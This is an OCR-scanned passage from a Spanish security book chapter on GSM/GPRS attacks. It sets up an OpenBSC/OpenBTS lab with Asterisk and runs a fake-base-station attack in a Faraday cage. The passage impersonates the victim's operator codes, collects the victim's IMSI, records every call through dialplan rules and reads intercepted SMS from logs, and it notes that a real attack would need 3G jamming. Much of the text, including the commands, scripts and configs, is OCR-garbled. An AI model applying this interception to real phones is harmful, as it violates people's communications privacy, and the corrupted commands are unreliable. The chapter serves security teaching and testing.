pre-up fusr/sbin/tunctl -t tapl

% NOTE: netwerk 10.13.13.0/24 reserved for OSSN clients

Instalacién de un servidor DNS (ej.: dnsmasq)

Dnsmasq es un servidor DNS (y DHCP y TFTP) sencillo que puede resolver localmente los nombres
que encuentre cn /fetc/hosts, y todas las demas peticiones de resolucion de nombres las envi atd aun
servidor DNS externo. A

Se recomienda su uso en csle caso, para que los clientes GPRS siempre le pregunten a ¢l las
traducciones DNS, es decir, para que sea su servidor DNS, y asi independizar la configuracién de
los equipos clientes GPRS, que les sera proporcionada por ¢l GGSN, de la configuracion de red del
acceso a Internet que se esi¢ usando cn cada momento. Su instalacién se realiza como paquete:

sndo aptitude install dnsmasg dnsmasqg-utils

Se recomienda configurarlo para que solo escuche ¢n un interfaz de loopback (gj.: tapl) y no ofrezca
servicio DHCP ni TFTP. Para cllo, se puede editar el fichero /erc/dmmaEé.mrg;" vy descomentar las
siguicnles lincas:

interface=tapl

no-dhep-interface=tapl

bind=interfaces

Instalacion de un servidor DHCP (¢j.: dhep3-server)

Las BTS nanoBTS se configurardn en un paso posterior para que obtengan su direccién IP por
DHCP. Es neccsario pues, que en la red que une al equipo labgsm00 con las nanoBTS exista un
servidor DHCP que asigna direcciones a las nanoBTS. En cste paso se instala un servidor DHCP en
el propio equipo labgsm00 y se configura de modo que solo atienda peticiones en el interfaz cthl
(tarjeta de red adicional) y que asigne dindmicamente direcciones en un cierto rango, por ejemplo
10.10.10.80 a2 10.10.10.89.

La instalacion de dhep3-server se realiza como paquete:

aptitude inslLall dhcop3-server =

Se deberd editar los ficheros /etc/default/isc-dhcp-server, para elegir el interfaz de red en el
que escuchara el servidor DHCP, y el fichero /ete/dhcp/dhepd.conf. para configurar el rango de
direcciones a servir,

Instalacion de Asterisk y LCR

LCR y Asterisk seran necesarios solo si se desea cursar trafico de voz al exterior, 0 manipularlo,
con el laboralorio basado en OpenBSC, péro dado que esta seccion se centra Gnicamente en la
manipulacion del trafico de datos, no se incluyen aqui mas detalles sobre ellos.
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Inicializacién de la estacién basc nanoBTS
Antes de poder ulilizar un equipo nanoBTS por primera vez (recién salido de tabrica) es necesario
inicializarlo, Este proceso de inicializacion consiste en modificar su configuracion dc Fabrica para
configurarle al menos los siguientes 2 pardmetros:

Parametro Descripeidn

Cadena de caracteres alfanuméricos que identitica al equipo concreto.

Cada nanoBTS debe tener un identificador de unidad diferente.
[Tnir 1)

El valor de este campo determinara en la configuracion de OpenBSC qué
confliguracion sc aplicard a cada nanaBTS en tiempo de ejecucioén.

Direccion IP del BSC con el que debe contactar la naneBTS.

Primary OML link [P Una vez configurados cl Unit Iy el Primary OML link IP, la nanoBTS
intentara contactar con el BSC enviando paquetes TCP al puerto 3002 dc
la direccidn IP configurada como Primary OML link IP.

Para realizar esta inicializacion, cl sofiwarc OpenBSC incluye una herramienta, el ejecutable
“IPAccess-config”, que permite configurar los valores de Unit ID v Primary OML link IP de los
equipos nanoB1S.

Nota: Mas informacion sobre este proceso de inicializacion sc pucde consultar en
http.iiOpenBSC osmocom.org/irac/wiki/nanoBTS.

Se recomienda consultar la ayuda del comando 7724 ccess-config ejecutandolo con la opcidn “~-help”.

Amodo de cjemplo, para configurar una nanoB7S para que tenga ID 1001 v que tenga como dircecion
del BSC 10.10.10.10, suponiendo que dicha nanoBTS ha oblenido la direccién TP 10.10.10.21 por
DHCP, habria que ejecutar los siguientes comandos:

ipaccess-config ~u 2001/0/0 =B LD d G2
ipacesss—conf —o 10.10.10.10 —r 10.10.1C.21

Configuracion de rouling y firewall (iptables)

La configuracion minima necesaria de /Ptubles para que (uncione correctamente el enrutamiento de
paquetes entre todas las redes internas y hacia Internet consiste en habilitar el pardametro de kernel /
procisysinet/ipvd/ip forward y configurar MASQUERADE para todos los paguetes salientes cn el
interfaz de red de conexidn a Internet (eth0).

Esta configuracion sencilla sc puede guardar en un seripr /uselocal/bin/start-fiv. que se utilizara para
arrancar el servicia de flrewall, como se deseribira mas adelante.

Ll contenido completo del script Ausrilocal/bindstart-fiv serd;
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11 /hin/sh
ecliv ™7
echo “Configuring irtakles o routs GPRS/EDGE trafie...”
echo ™7

I ¥lush evarything

iptakles -t filter ¥ INFCT
iptablies -L Jllep =P INPUT AGCHEH
iptables -t flter -F OQUTEUT
iptables t filter -T OUTDUT ACCEPT

iptablos =L dlter —F FORWAKD & | s
iptables -t filter -P FORWARD ACCEPT

ipzables t nat —F PBRERQUTIHNC

iprables -L oat —F PRKROWT NG ACCEET

iprables -t nat -F PO3TROUTING

iptables £ pat P DOSTROUTING ACCEPT

Zptabley -L npal =F Qur2or

‘prablzs -t nat —F QUTPUT RCCERT

# Erable IP forwarding
=cha “1% » /proc/sys/net/ipvd/ip fozwaxd

# Erable MASDUERADE on &1 interfacs
1ptzbles -t nat -2 FOSTROUTING -o =th( J MASQUERADE

# ZShow finel cerfiguraticn
(ol ecta & W
acho “#E#FE4#4 TADLE FILTER #45dais”
iptebies —p =L —v

Sty M
echo “#f#d#¥+ TADLT HAT FEEFAERY
iptables —=n =L =v =t nut

coba YR R R R R R R R R R R R R
ackg MY

ecko “Done.”

Configuracian del servicio GGSN (openggsn)
El codigo tuente de OpenGGSN incluye un ejemplo de fichero de configuracion (ggsn.con/) en el
suhdircelorio examples.

Para establecer Ia configuracion de OpenGGSN se puede copiar inicialmente ese fichero al directorio
apropiado (por ejemplo /etc/opt/OpenGGSNY) v editar dicha copia para establecer la configuracion
descada.

Los pardmetros principales a configurar son la direccion IP en la que escuchard el GGSN (/isten). el
rango de direcciones de red a asignar a los clientes GPRS (dynip). v ¢l servidor DNS a asignar a los
clientes GPRS (peodns ). :

La siguiente salida dcl comando diff;, comparando un fichero de configuracién antes (.orig) v después
de ser editado, muestran los cambios sugeridos sobre el fichero de configuracion de ejemplo:
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root@labgomil: /etc/oot/ggsnd diff gosn.conf.orig gqusn.conf
E0ash
< g

dezug

#

e 8

pidfile /varirun/ugsn.pid

> pidfile /var/opt/gosn/ggsn.pid
30930

< #statedir /var/linfggsn/

> statedir /wvar/op Sfugon/

Z5e35

< Pl ialmn 160 0. 24

= ligten 10.11.11.1
4040
< ¥riet 13Z.168.0.0/74

 net U013 130724
ST

€ ¥dynip 292.1688.0.0/24
> dynip 10,13.13.0/24
57ci?

< fpoodnsl 0.C.0.0

2 peednsl 1001201900
rauli@lakbosm(0: fete/opt/ggsnt

Configuracion del servicio SGSN (osma-sgsn)
OpenBSC incluye un ejemplo de fichero de contiguracion para oymo-sgsn, que se instala como /opt/
OpenBSClshare/doc/OpenBBSClexamples/osmo-sgsn/osmo-sgsn. cfa.

Para establecer la configuracion de osmo-sgsa se puede copiar inicialmente ese fichero al dircetorio
apropiado (por ejemplo /elc/opt/OpenBSC/) y editar dicha copia para cstablecer la configuracién
deseada.

La siguiente salida del comando d/iff; comparando un fichero de configuracién antes (.orig) y después
de ser editado, muestran los cambios sugeridos sobre el fichero de configuracién de ejemplo:

roon@labgsn00: fete/opt/osenosc# diff osno-sgsn.ciq.orig csmo 2gsn.cfz
5 10e9.:10

& Jbtp Jogal-ip T0.23.23.23

< ggsn (0 remole-ip 192.168.0.101
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s Sgeees Tasgl=dny T BT

= ggar 9 remete-ip 10.11.11.1

2] yEdarl B2

< encapsulation ndp lecal-ip 192, 168.0.101

< wmnezpasulation udp lecal-peort 23000
> zncepsulation cdp loeal-is 10.10.10.11
> enzapsulallion cdp loecal-port 23011

roct@lakgsm(0: /etc/opt/openbsct
La entrada “gtp local-ip” es la direccion 1P local en la que escuchardasmo-sgsn.
T.a entrada “ggsn 0 remote-ip” es la direccion IP del GGSN, a la cual se conectard osmao-sgan.

Las dos direcciones I, Ia del SGSN y la del GGSN, deben ser distintas incluso si ambos pracesos
se gjecutan en el mismo equipo.

[.as cntradas “encapsulation™ deben especificar la direccién I’ y puerto del SGSN tal cual serdn
vistos desde 1a BTS. Puede coincidir con la IP especificada en “gtp local-ip” si no hay NAT entre la
BTS y el SGSN.

Nota: L'n la siguiente direccion se puede encontrar més informacion sobre estos para-
metros de contiguracion: hrtp://QpenBSC.osmacom.argltrac/wiki/OpenBSC_GPRS.

Configuracion del servicio BSC (openbsc: osmo-nitb)
OpenBSC incluye varios ejemplos de ficheros de configuracién para los distintos modos de operacion
de OpenBSC, que sc mslalan bajo /opt/OpenBSClshare/doc/OpenBSClexamples.

Para establecer la canfiguracion de OpenBSC (osmo-nith) se puede copiar inicialmente el fichero
OpenBSC.ctg correspondiente al modo de funcionamienta osmo-nith con BTS nunoBTS, /opi/
OpenBSCisharefdoc/OpenBSClexamples/osmo-nitb/nanoBTS/OpenBSC.cfz, al directorio apropiado
(por ejemplo /etc/opt/OpenBSC) y editar dicha copia para establecer la configuracion deseada. Los
principales parametros que se recomienda modificar (almumos es imprescindible hacerlo) son:

Pardametro Descripcidn

short name Nombre corto que publicari la celda

| long name Nombre larzo que publicara la celda
Py Banda en la que trabajara la nanoB7S. Debe ser GSM900 o
' DCS1800, y debe reflejar 1a banda de 1a nanoBTS utilizada.
ip.access unit_id Identificador asignado a la nane81'S durante su inicializacion
Conjunto de parametros que definen la configuracion GPRS
oprs * de la naneBiTS. A continuacion se cxplican algunos con mas

detalle.
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Parametro Descripcion

eprs mode egprs Activa el modo Edge.

Selecciona el puerto UDP que ulilizara la nanoBTS para

- 2
gprs e localwdpport 25004 comunicarse con el SGSN. In este caso 23000,

L R
- Puerto UDP del servicio SGSN de cara a la nanoBTS. En
. -r P
gprs nsve 0 remote udp port 23011 este sjerplo A1,

Direccion TP del servicio SGSN de cara a la nanoB1Y. En

eprs nsve 0 vemole ip 10.10.10.11 csteeferinls, 10,00, F0L11.

arfen ARFCN cn ¢l que emitira 1a nanaBTS.

Ll valor PDCH en lugar de TCH/F indica que ese time slot
phyvs chan_config PDCI] se dedicara a trifico GPRS en lugar de trafico de vor, Se
recomicnda dedicar varios time slots a trdfico GPRS.

Nota: En la siguiente dircecion se puede encontrar mas informacion sobre estos para-
metros de configuracién: htip: #OpenBSC.osmacom.org/trac/wiki/OpenBSC_GPRS.

La siguicnic salida del comando diff, comparando un fichero de configuracion antes (.orig) v despuds
de ser editado, muestran los cambios sugeridos sobre ¢l fichero de configuracion de ejemplo:

recozRlangan(it: fete/opt/openbscd diff —ruph openbse.cfg.orig operbsc.cfg
--— cpenbsc.cfyg.orig[times=anp]
+++ cpenbsc.olg | Limsstamp]
@@ -11,8 +11,8 @3 &1 input
nztwork
retwork counlry gode 1
nokile networx oode
— shert rames CpenBS3C
= _ong name Qpen3sc
+ shart rams tastshor .
I long name testlong
aulh policy olosed
location updating rojocel couse 13
ercryption at 0
EB -38,4 +38,.8 @@ network
timer t£3141 0
Bts 0
Eyps nancbhos
= UXMX = Unuzownmenl the aporopriate band (GSM200, DC531800)
.bard G3MS0D
ssnc DCS1800
el _Adentily 0
locaticn area code 1
@¢ -50,11 +52,22 RE network
channel a looalors asconding
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réach tu inteser 9
rach max transmission
- ip.access unit id 1801 0
(XXX - Uncomment the aprropriate unit IZ (2C01=G3MJ0C, Z200Z=DCS1E00)
= lip.acgess wnit dd 20020
= <ip.access unit id 2001 O
oml ip.access stream id 255 line €
- gpre mode nooc BT
- gprs mode egprs
gprs routing area 0
= gprs egll bvei 2
— gprs msel 101
- cprs asve 0 nsvei 101
0 Toaezl udp port 23C00
= gprs asyoc 0 remots ndp port 23007
= Jrpre neTd Bperots dp IT0LIEGTOOTT
txx 0
wif __| o
~ 1¥¥¥~- S5slect ARICH. MNote:
i ARFCNs 2D0MHZ: 1-1224 f(e.g. 5)
! ARFCNs IBOUMHA: H17-885 (e.g. H14)
arzca 514
neminal power 23
max cower red Z0
BR -63,10 +BZ,.0 3@ network
timeslct 2
phys _chan config TCH/F
timeslect 4
- phys chan confiz TCH/F
+ phys_chan config FDRCH
timeslct E
- phys chan contig TCH/F
¥ phys_chan config PDCH
timeslct €
- phys_chan_contig TCHSF
¥ phys_chan config rFocH
timeslct 7
phvs chan confiz TCI/T
rnliy PDCH
cl/oot/operhact #

2

LY

= ORYE AsTe

sieen Gl

+ phys chan o
roct@lzbgsmll: /e

Provisionamiento de usuarios

El provisionamicnto de usuarios, es decir, configurar gué usuarios (IMST) moviles podrén concetarse
y cuales no, se describe mas adelante, en la seccion dedicada a la manipulacién de comunicaciones
GPRS/Edge.
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 3.Manipulaciéon de comunicaciones GSM (voz y
. SMS)

Y
i
|

Preparacion de la infraestructura para pruebas de ataque con
estacidn base falsa

Una vez instalada la infraestructura descrita anteriormente, el siguiente paso es poner en marcha ¢l
ataque con estacion base ftalsa GSM, del que se supone al lector conocimientos de cémo funciona'.

Para poder exponer ejemplos concretos, supongase que la infraestructura configurada esta basada en
OpenB1S 2.8 + USKP (cualquier modelo soportado) con 2 tarjetas hija configuradas para emitir en
la banda de 900 MHz + Asterisk (Real Time)'®. Se supone que la USRP esta correctamente instalada
y configurada cn este punto, asi como cl soflware OpenBTS, Asterisk y sus confliguraciones correctas
para funcionar juntos, todo ello siguiendo las instrucciones que se han apottado en las referencias.

Por claridad en la exposicion de los conceptos, las configuraciones presentadas son las minimas
necesarias para que funcionen las pruebas de concepto de los ataques v no se ha incluido contenido
que haria mas estahle la infraestructura, como por ejemplo: ]

- Respuesta ante extensiones no existentes.
- Automatizacion en la configuracion de OpenBTS.

- Unificacian en la configuracion de Asterisk de forma que lodos los alagues csién
implementados y se activen/desactiven mediante un mecanismo sencillo.

- Automatizacion en la configuracion de Asterisk.

Conexion de la estacion base a la jaula

La conexién de la estacion base a la juula se realizard mediante cables RF a los conectores blindados
(tipicamente del tipo SMA) de la jaula. En el interior de la jaula, esos conectores deberin estar
conectados a una antena cada uno, cuyo Unico requisito sera que tenga la misma impedancia que la
USRT (50 £2). Sc uhicara el terminal vietima dentro de la jaula y sc cerrard la jaula.

Preparacion previa de asterisk

Partiendo de la configuracion basica (sip.canf y extensions.conf) suministrada con OpenBTS 2.8
(en el directorio Asterisk config) se construird una configuracion de Asrerisk con los siguientes
objetivos!™:

- Minimizar las diferencias de configuracion para OpenBTS 2.6 v OpenBTS 2.8.

L7 butpydeoww defeon orgdhimlTinks/de archiveside 18-avchive htmitPazet
18 Aunque suponemos una infraestructura concreta del atacanic, todos los atagues tuncionarian de forma analioga con otras
versiones de la infracstructura simplemente cambiando algunos provedinientos de configuracion.

19 Se presupone &l lector conccimientos hasicos de confipuracion de Asterisk.
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- Hacer que la construccion de la configuracion guie al lector para entender los objetivos
de cada pasa,

Simplificaralmaximolaconfiguracién incluyendo solo aquellos elementos imprescindibles
para realizar las demostraciones de los ataques.

o

Instalacién dc un teléfono de ataque

Para que el atacante pueda disponer de teléfonos con los que comunicar por GSM es necesario tener

teléfonos registrados en su infraestructura. Existen 2 modos de hacerlo:
- Telélfonus GSM registrados en la estacion base (en ¢l caso de las pruebas de concepto
deberian estar dentro, o hien tener su antena dentro de la jaula de Faraday).
- Teléfonos Sip registrados en el Asferisk de su mfraestructura. Lista es sin duda la opecidén
mas comoda para el atacante. El teléfono Sip puede configurarse en el mismo PC donde corre
el resto de la infraestructura o bien en un P'C distinto que fenga coneetividad IP con cse PC
(que es donde esta corriendo Asterisk).

Se supone que en la prueba se dispone de un teléfono Sip registrado en el Asterisk de la infraestructura,
con la extension asignada 200120

Para provisionar este tipo de teléfonos en Asterisk, este debe disponer de una entrada como esta en
el fichero de configuracion sip.conf de Asterisk:

| 2091 |

z=1larid—"Softphons 20014 <Z001>

type=friend

conlbitxi =5 "p="oeal

host=dynanic

gegret=123d

Y posteriormente releer la configuracion sip desde Asterisk, mediante la ejecucion del siguiente
comando en la consola de Asterisk:

=ip reloac

En cl dialplan (extensions.conf) se debera crear un contexto como el que sigue®':

_softphones]
A SRR e Rl e B R

exzen => _2%XX,r,Zial (SIF/${EXTEN},30) L

Y madificar el contexto [sip-external] para que incluya cse nuevo contexto:
siv-externall

; This i3 ths top-levzl context that gives acveess Lo vul-ol-nelworx calling.
Podomo insloadcos Lhis o don=aclwork calling.

20 Asumimos al lector la capacidad para configurar un teléfono SIP para ser registrado en el asterisk de ka infruestructura.
Como ejemplo, podria ulilizurse linphone (Ritp: v voip-infi. orgMikiview/Asterist —phone Flinphove).

21 Vamos a suponer que las extensiones de los teléfones SIP provisionados son alcanzables y que les asignaremos siempre
una extension de la forma 2XXX, Este comportamicnto sc escoge por comoedidad en las pruebus de coneeplo de los atgues
v es sustituible por cualquier olro que al lector le parezea adecuado.
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include =3 scftrhones
inelude => outbcocund-trunk

\ A continuacidn, se debe recargar el dialplan en Asterisk, mediante la ejecucion del siguiente comando
en la conso,la-dq Asterisk:

dialplan reload

Tras lo cual se podra comprobar el correcto funcionamiento del softphone de ataque llamando a la
extension 2600 (funcion de echo predefinida en el dialplan).

Enrutamiento de llamadas hacia el exterior
Para disponcr de esta funcionalidad y permitir que los teléfonos registrados en la infraestructura del
atacante puedan cursar llamadas al exterior a través de un proveedor de voz sobre IP, se debe incluir
una entrada similar a la siguiente en el fichero de configuracidn sip.conf de Asterisk:
[VOIPProvider]
type=Friend
secret=1253456 i Password
defaultuser=username ; User Name
hosl=sip.provider.com ; VOIF Provider hostnams
insscure=port,invite ; Nefaull sscurity sccobings.
; Security will depend on
provider's capabilities

En la que sip.provider.com representa la direccion del servidor sip de nuestro proveedor (con el que
se tiene que tener contralado este tipo de servicio) y el usuario y el password para la conexién se
configuran mediante los pardmetros defaultuser y secret.

Pasteriormente se debe recargar la configuracion sip;

5ip reload

Adicionalmente, en la seccidn outbound-trunk del dialplan (feic/Asterisk/exiensions.conf), sc deben
incluir las siguientes lineas:

exten =>  95] KXXMXXNY, n, Answer ()

exten => [96] XXKXRXXX,n, Dial (SIP/VOIPFProvider/00348{TXTEN], 30)
y recargar el dialplan en la consola de Asterisk mediante el comando:
dialplan reload -

Se probara que el enrutamiento funciona llamando desde el sofiphone de ataque a cualquier nimero
nacional.

Nota: En esta configuracion se utilizard el enrutamiento exterior para todos aquellos
aumeros que tengan un formato compatible con el plan de numeracién espafiol. Ha-
bra que modificar el dialpian si se quiere que se utilice para otro tipo de llamadas
(internacionales, etcétera).
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~,

Nota: Para identificar esta configuracién como punto de partida del dialplan se hara
referencia a ella como “dialplan(”.

Configuracion de macro para llamadas entre terminales registrado en la estacion base
falsa
Esta macro se conligurara en ¢l dialplan (fetc/extensions.con/), a continuacion de la seccion [globals].

OpenBTS 2.6
[racro-DialssM]
exten == 5,1,Dial (SIR/SIARSTY)

OpenB15S 2.8
|mrzcro—DialGSH]|

exten —>» s,1,5et (Name—5(CDLBC SUL(select dial from dialdata table where szten
NTE{MACED TETENINY)F)

exten =» z,n,00tolf(§["§{Name]™ = "] ?uip-vxlornal, §{MACRO RXTEN], 1)

exten —> 5,1, 5et (1Paddr—3{OUBC S0L(select iPaddr from sip buddies where nanme
VS{Nama Nt 1)

exbon =5 saneGolall (8RS TPadde ™ = 9] Zedp-exbornal, S {MAIRO SKTEN] L)
exten =» 5,n,Dial (3IP/5{Name}RS{IFadd=):5062)

Registro del terminal / dispositivo victima

Para comenzar a emitir, debe configurarse la estacion base con los siguientes parametros de
configuracion (se adjuntan solo los minimamenic necesarios):

La configuracién inicial puede realizarse mediante el acceso a la base de datos de configuracion de
OpenBIS (por ejemplo mediante “SQLite3 /etc/UpenBTS/OpenBTS.db”), ya que el oo método
de configuracion de la parametrizacion de OpenBTS (OpenBTSCLI) requicre que OpenBTS csié
arrancado. El comando a gjecutar para modificar un pardmetros seria este: “update CONFIG set
VALUESTRING  “<Nueve_Vulor>" where KEYSTRING — “<Nombre Parametro Conf>""

Pardmelro de configuracion | Valor Explicacion
GSM Radio.Band 900 De.be COl.I:ICldll' con la banda en la que emiten lag
tarjetas hija.
Este valor es el ARFCN de emision de la celda,
Pucde cncontrarse una lista de ARFCNs validoy
(DOWNLINK) en: htips://gsm.ks.uni-freiburg. de;
GSM. Radio. CO 51 arfen.php v en: hitp:/iwww. telecomabe.com/al/arfen.

html.
Como la ejecucion serd dentro de la jaula de Faraday |
puede configurarse cualquier valor de ARFCN valido,
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Parimetro de configuracién |  Valor | Explicacién
Cdodigo del pais del operador que emite la SIM
: : i d i ictima (un listado de MCC
GSM.Identity MCC cec mnstalada en el termma} Vlctlma,(un'llf. (.r dc C‘Cs
: puede encontrarse aqui: ktip://en. Wikipedia.org/wikis
Muobile_Netwark_Code).
Cédigo del operador de telecomunicaciones que emite
; = la SIM instalada en ¢l werminal victima (un listado de
SM.Identity. MNC e
G e i MNCs puede encontrarse aqui: htip./Ven. Wikipedia.
org/wiki/Mobile Network Code).
. , _ Para que la r¢ .  ademis del
GSM. Identity. ShoriName NULL ara que la red no mande el nombre ademis del
codigo de red.
GSM. Identity. ShowCountry NULL Para que no se muestre el codigo de pais.
GSM. Rudio. Power Manager: 30 Méxima atenuacion. T.a potencia necesaria para
MaxAttenDB emilir dentro de la jaula sera tipicamente baja.
GSM Radio.Poweridanager. 15 Minima atenuacién. La potencia necesaria para emitir
MinAttenDB ) dentro de la jaula scré tipicamente baja.
Control LUR. QueryClassmark 1 Servird para identificar las capacidades del terminal.
Control LUR.QuerpIMEI | Servira para obtener las capacidades del terminal,
Se recomienda (0 para que el terminal siga intentando
cl registro indefinidamente tras un rechazo. El
comportamiento de la mayoria de los maviles ante
Control LUR. 0 rechazo con codigo O es que realizan 3 intentos de
UnprovisionedRejectCause registro seguidos cada T3212 minutos. Para mis
informacion se puede ver: hittp://www.taddong.
com/docs/RootedCon2012-Nuevos escenarios de |
ataque_GSM GPRS.pdf.
GSM Timer 13212 6 Mll]uF(?s enlre registros periddicos. 6 es el minimo)
permifido.

r

equivalentes..

Neta: En un ataque real, el atacante deberia conocer mis datos del entorno de radio
del terminal victima, para lo cual deberia scr capaz de caprurar el beacon de la celda
que le da servicio y configurar la estacién base de acuerdo con la informacion ohteni-
da. Ademas, la estacion base debera competir en polencia con las celdas del entorno
del atacante y muy probablemente deshabilitar las comunicaciones 3G del terminal
vietima (por ejemplo, utilizando un inhibidor). El atacante puede conscguir salvar
eslas circunstancias. en cuyo caso los entornos real y de prucbas son practicamente
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Existen varias lorinas de averiguar ¢l IMST del termina victima al que se tenga acceso fisico® , sin
embargo se utilizara aqui la propia infraestructura para averignarlo.

Una vez configurados los pardmetros, es posible comenzar a emitir arrancando OpenliTS y esperar
a que el terminal victima intente el registro en nuestra red. Ya que el terminal victima no esta
provisionado en Asferisk, el registro sera rechazado.

Una manera cémoda de averiguar el IMSI es buscarlo en los Jogs de OpenBTS (buscando la cadena
“registration FAILED”).

En este momento, se puede provisionar el terminal victima asignandole la extension 1001 (que se ha
elegido arbitrariamente) al TIMST XXXXXXXXXXXXXXX que se ha visto en el rechazo.

Provision en OpenBTS 2.6

En QpenBTS el provisionamiento de un terminal GSM se realiza mediante la adicion de las siguientes
lineas (como minima) al fichero sip.conf existente®:

BRUERD:6-606°010%0:000.0-0:0:6-0.4|

(e = R el

canreinvite=no
type=friend
context=aip-aocal
allow=gsm
host=dyvnamic

A continuacion, sc gjecutara el siguiente comando en la consola de Asierisk:

Adicionalmente, en el contexto [phones] del dialplan se deberan configurar las siguientes lineas:
i Diglobo uger 2008

exter =2 100 ,1,Nolp(Call Lo SIP/IMSTXXXNANXARXXKEKXEX)

exter =» 1002,n,Macro(dialGSM, TMST XK XIMNNNIHY)

Nota: Sino se quiere usar la macro preparada, las dos lineas anteriores pueden susti-
tuirse por exten => 1001 1,Nial(Sip/ IMSIXXX XXX XXXXXXXXX)

Tras recargar el dialplan (dialplan reload), se puede esperar al siguiente registro del terminal.

Cuando el siguiente registro se produzca, este deberia ser aceptado y se veria el correspondiente
mensaje en la consola de Asterisk. Para obtener mas informacion del terminal y asegurarse de que
se liene comunicacion con €l se puede ejecutar desde la consola OpenBTSCLT ¢l siguiente comando
para mostrar tabla de TMSIS asignados al IMS! (deberia aparecer también el IMU‘1 del terminal):

thisis

22 hitp:femradi.org/redmineprojecis/gmradio/wiki/Open BT SSeiting Updstersh

23 Tsta confipuracion debe realizarse por cada terminal configurado




[
Y
~J

Cupitulo XN, Ataques GSM-GPRS a iPhone

Y para verificar que se tiene comunicacion con cl dispositivo:

sendans KEXEXHENEKNXNXK DC00
Mensaje de zrusba

Cuando al mensaje llega al terminal, se estd seguros de que el Lerminal s accesible via su interfaz de
radio. Una forma de verificar definitivamcnie que cl ataque con estacion base falsa ha funcionado (v
por tanto se pueden realizar todas las manipulaciones sobre las comunicaciones GSM del terminal
que sc explican a continuacién), es realizar una llamada contra ¢1 desde un sofiphone configurado
{marcando la extension asignada al terminal mavil 1001). Si1a lamada se establece, la configuracion
es correcta y se podran reulizar las pruebas posteriores.

Provisiéon en OpenB'I'S 2.8
Para provisionar un terminal en OpenBTS 2.8 hay que darlo de alta cn la base de datos de sipauthserve.
Las columnas significativas de esta basc de datos sen®":

Columnas de la tabla dialdata_table:
| exten | Lacxlension a asi gnar al IMSI.
dial El IMSI a provisionar, en formato “IMSIX XX X XXX XXXX XXX,

Columnagde la tabla sip_buddies
neame Ll IMSI a provisionar, en [ormato “IMSTX X XOOOOIXX X X,

username | El IMSI a provisionar, en formato “IMSIX XXX XXX XX XXXX .
Hpe “friend”.

El context del dialplan para este usuario (el configurado en el diulplun gue so
suministra con OpenB1S es “phones™)

COREXT

host “dynamic” es el valor recomendadao para la configuracion propuesta.

callerid | Ll 1identificador de llamada para este terminal,
canreinvite | “no” (recomendado para OpenBTS 2.8).

®

allow “gsm”,

dimfimode | “inlu”,
La direccion TP del kost donde se registra el teléfono. Actualizado por sipauthserve.
En el caso de la configuracion propuesta serd 127.0.0.1.

ipuddr

Asi, al utilizar SQLite3 para acceder a las bases de datos de configuracién citadas, los comandos a
ejecutar serian:

aglite3 fear/_ib/fasterisk/sglitelddir/sqlite3.dk

insert intc dizldate_lable (extern, dial) values (M10017, "IM3IXMMARNMXXAREAIL)
insert intc sip Duddies (name,usernanc, Lype,conkext,host, callerid, canreinvite,allao
weclmlmode, iPaddr) values (“IMSIXEZNMOUUUDOEXT, ™ IMSTEXXEMNXENKEXKNR” , "Friend”, “pho
mes e dyr ams e S LA S T gen, T InEe T, TR T 050 o 1)

e

24 REF Aitp:ivewwmentby. com/david-burgess-Siopenbts-28-provisioning him!
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Las verificaciones del registro se pueden realizar de forma idéntica a como se ha explicado para la
version 2.6.

Nata: A partir de este momento todas las manipulaciones sobre las comunicaciones

% de la victima no dependen va de UpenBTS, sino que se manejan (casi totalmente) des-
de Asterivk. La conliguracion de Asierisk que se presenta en los siguientes cjemplos
estd pensada para ser lo més sencilla e ilustrativa posible. Sin embargo, una configu-
racion avanzada de Asrerisk permitiria contigurar toda la funcionalidad presentada de
una forma mas complela, automalizada y opereble.

Interceptacion de comunicaciones de voz

Las comunicaciones de voz pueden ser facilmente interceptadas desde Asterisk.

S¢ presenla a continuaeidn una posible configuracion de Asterisk para interceptar todas las
comunicaciones que el teléfono victima (a quien se le ha asignado la extensién 1001) establezca con
cualquier dispositivo (tanto como origen como destino de llamada). Para ello, se deberan modificar
el contexto [phones] del dialpiun() anadiendo al inicio del mismo las siguicnies lincas (antes de la

llamada a la macro DialGSM): =
[zhores]
exten = N.,l,CoccIf($[5{CALLIRID{num) } != 1001] ?Priorecfrom)

-]
exter =» N.,H,Answcr()
exter =» N.,rn,MixMonitor(/tmp/Rec FTrom §{CALLERID (rur}} ${STRFTIME(, ,$vimidsE

M) ] .gsmi

gxter 2=  N.gn,GoTolnorecta)

exten => N..n. Answek(

exter =% N., ninorecfrom), Gotolf (5[H{EXTEN} != 1l001] Znorecto)

exten —> N.,0,MixMoni tar( ."Lttu'l.a‘RQ-::_’I'-::J_:}-_ EXTEN} S{STRFTIME (,, *¥im%ca3HEM) » .gum)

exnter =» N.,ninorscto) NoGod)
Posteriormente se debe recargar el dialplan en Asterisk (cialplan relsad).

Esta configuracion hara que Asferisk grabe cualguier conversacion a y desde el teléfono victima a
cualquier nimerorealenun fichero con el formato/tmp/Rec_ {From|To} _1001_YYYYMMDDhhmm.
gam) que luego se podra escuchar con (por ejemplo) la utilidad play.

figuracion anterior es solo una muestra de ello. Es posible configurar la grabacion
a/desde determinados nimeros, en determinadas franjas horarias, cle. En general,
Asterisk es lo suficientemente completo como para proporcionar toda la flexibilidad
necesaria en este sentido,

% Nota: La interceptacion de comunicacion puede hacerse de muchas formas, v la con-
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Interceptacion de mensajes SMS

Infraestructura basada en OpenBTS 2.6

Para poder activar la intercepeion de mensajes es necesario ascgurarse de que las siguientes lincas
lengan los siguientes valores en el fichero de configuracion de smguene (smqueue.config):

¥ Logging lewvel

Log.level DZBUC

Log.evel .smeommands . app IRHELEG

Si se mantienen las opciones por defeeto (no se conligura fichero de log) cualquier mensaje enviado
desde el terminal victima a otro dispositivo aparecerd en el terminal donde se ha arrancado smqueure,
con un contenido similar al presentado a continuacion:
Via: SIB/Z2.0/UDP 127.0.0.1:5062;branch=z%hG4bX43203
Fran: TMETXXEHRNARFHRIEEEK <uips IMSIXXXENXNRENREXNLEIZT.0.0. 1 zag=rciog
R e Ll e s s e S
Gl =rpa el R G = Al () T
URec: |65 MUHSAGH
Content-Tvpe: tsxt/plzin
Max-Forwards: 70
Content—1 angth: e
L

EME de prueba

Infraestructura basada en OpenBTS 2.8

Elmaédulo de smquene OpenBTS 2.8, por defecto guarda los mensajes de [og haciendo uso del syslog
del sistema. Por lo que cualguicr mensaje enviado desde el terminal vietima quedara registrado en el
mismao. La Ifnea que muestra el contenido del mensaje tiene un aspecto similar al que sigue:

Sep 2 17:£3:57 ZAPTCPROL smgusus: |NKE 3073002512 smeuere. cppr 1405 handle shork
code: Short-cods SMS smsc with text “sSMS de pruska”

Ataques basados en la suplantacion del niimero llamante

